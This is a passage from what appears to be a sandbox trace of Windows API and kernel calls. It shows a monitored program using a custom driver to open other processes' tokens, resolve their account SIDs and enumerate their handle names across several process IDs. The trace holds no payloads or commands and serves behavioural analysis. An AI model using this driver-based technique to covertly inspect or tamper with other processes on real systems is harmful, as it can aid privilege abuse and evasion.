Object=0xfffff88005590668*=0xfffffa8001fc8b30, HandleInformation=0x0) returned 0x0 [0113.878] ObOpenObjectByPointer (in: Object=0xfffffa8001fc8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.878] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x12 [0113.878] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.879] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.879] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.879] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.879] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.880] CloseHandle (hObject=0xc8) returned 1 [0113.880] CloseHandle (hObject=0xc0) returned 1 [0113.880] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.880] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.880] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.880] PsAcquireProcessExitSynchronization () returned 0x0 [0113.880] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880055905d0) [0113.880] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fe1f20, HandleInformation=0x0) returned 0x0 [0113.880] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.880] PsReleaseProcessExitSynchronization () returned 0x2 [0113.880] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0113.881] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.881] ObfDereferenceObject (Object=0xfffffa8001fe1f20) returned 0x1 [0113.881] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.881] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.881] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.881] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0113.881] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.881] PsAcquireProcessExitSynchronization () returned 0x0 [0113.881] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880055905d0) [0113.881] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fe1b50, HandleInformation=0x0) returned 0x0 [0113.881] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.881] PsReleaseProcessExitSynchronization () returned 0x2 [0113.881] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0113.881] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.881] ObfDereferenceObject (Object=0xfffffa8001fe1b50) returned 0x1 [0113.881] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.881] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.881] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.881] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.881] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.881] PsAcquireProcessExitSynchronization () returned 0x0 [0113.881] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880055905d0) [0113.881] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.881] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.881] PsReleaseProcessExitSynchronization () returned 0x2 [0113.881] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0113.881] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.881] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.881] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.881] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.882] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x42c) returned 0xc0 [0113.882] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.882] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002003b30, HandleInformation=0x0) returned 0x0 [0113.882] ObOpenObjectByPointer (in: Object=0xfffffa8002003b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.882] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x12 [0113.882] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.882] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.882] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.882] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.882] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.883] CloseHandle (hObject=0xc8) returned 1 [0113.883] CloseHandle (hObject=0xc0) returned 1 [0113.883] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.883] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.883] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.883] PsAcquireProcessExitSynchronization () returned 0x0 [0113.883] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880055905d0) [0113.883] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001ff2980, HandleInformation=0x0) returned 0x0 [0113.883] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.883] PsReleaseProcessExitSynchronization () returned 0x2 [0113.884] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0113.884] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.884] ObfDereferenceObject (Object=0xfffffa8001ff2980) returned 0x1 [0113.884] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.884] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.884] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0113.884] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.884] PsAcquireProcessExitSynchronization () returned 0x0 [0113.884] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880055905d0) [0113.884] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f79e50, HandleInformation=0x0) returned 0x0 [0113.884] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.884] PsReleaseProcessExitSynchronization () returned 0x2 [0113.884] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0113.884] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.884] ObfDereferenceObject (Object=0xfffffa8001f79e50) returned 0x1 [0113.884] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.884] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.884] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.884] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.884] PsAcquireProcessExitSynchronization () returned 0x0 [0113.884] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880055905d0) [0113.884] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.884] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.884] PsReleaseProcessExitSynchronization () returned 0x2 [0113.884] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0113.884] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.884] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.884] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.884] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.884] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x320) returned 0xc0 [0113.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.885] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001fcf060, HandleInformation=0x0) returned 0x0 [0113.885] ObOpenObjectByPointer (in: Object=0xfffffa8001fcf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.885] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x12 [0113.885] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.885] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.885] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.885] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.885] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.886] CloseHandle (hObject=0xc8) returned 1 [0113.886] CloseHandle (hObject=0xc0) returned 1 [0113.886] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.886] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.886] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.886] PsAcquireProcessExitSynchronization () returned 0x0 [0113.886] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880055905d0) [0113.886] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f3d070, HandleInformation=0x0) returned 0x0 [0113.886] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.887] PsReleaseProcessExitSynchronization () returned 0x2 [0113.887] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0113.887] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.887] ObfDereferenceObject (Object=0xfffffa8001f3d070) returned 0x1 [0113.887] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.887] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.887] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0113.887] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.887] PsAcquireProcessExitSynchronization () returned 0x0 [0113.887] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880055905d0) [0113.887] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a12f20, HandleInformation=0x0) returned 0x0 [0113.887] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.887] PsReleaseProcessExitSynchronization () returned 0x2 [0113.887] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0113.887] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.887] ObfDereferenceObject (Object=0xfffffa8001a12f20) returned 0x1 [0113.887] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.887] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.887] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.887] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.887] PsAcquireProcessExitSynchronization () returned 0x0 [0113.887] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880055905d0) [0113.887] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.887] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.887] PsReleaseProcessExitSynchronization () returned 0x2 [0113.887] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0113.887] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.887] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.887] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.887] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.888] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x424) returned 0xc0 [0113.888] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.888] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001a17b30, HandleInformation=0x0) returned 0x0 [0113.888] ObOpenObjectByPointer (in: Object=0xfffffa8001a17b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.888] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x12 [0113.888] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.888] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.888] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.888] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.888] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.889] CloseHandle (hObject=0xc8) returned 1 [0113.889] CloseHandle (hObject=0xc0) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.889] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.889] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.889] PsAcquireProcessExitSynchronization () returned 0x0 [0113.889] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880055905d0) [0113.889] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fc56e0, HandleInformation=0x0) returned 0x0 [0113.889] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.890] PsReleaseProcessExitSynchronization () returned 0x2 [0113.890] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0113.890] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.890] ObfDereferenceObject (Object=0xfffffa8001fc56e0) returned 0x1 [0113.890] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.890] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.890] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.890] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0113.890] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.890] PsAcquireProcessExitSynchronization () returned 0x0 [0113.890] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880055905d0) [0113.890] ObReferenceObjectByHandle (in: Handle=0x1c, 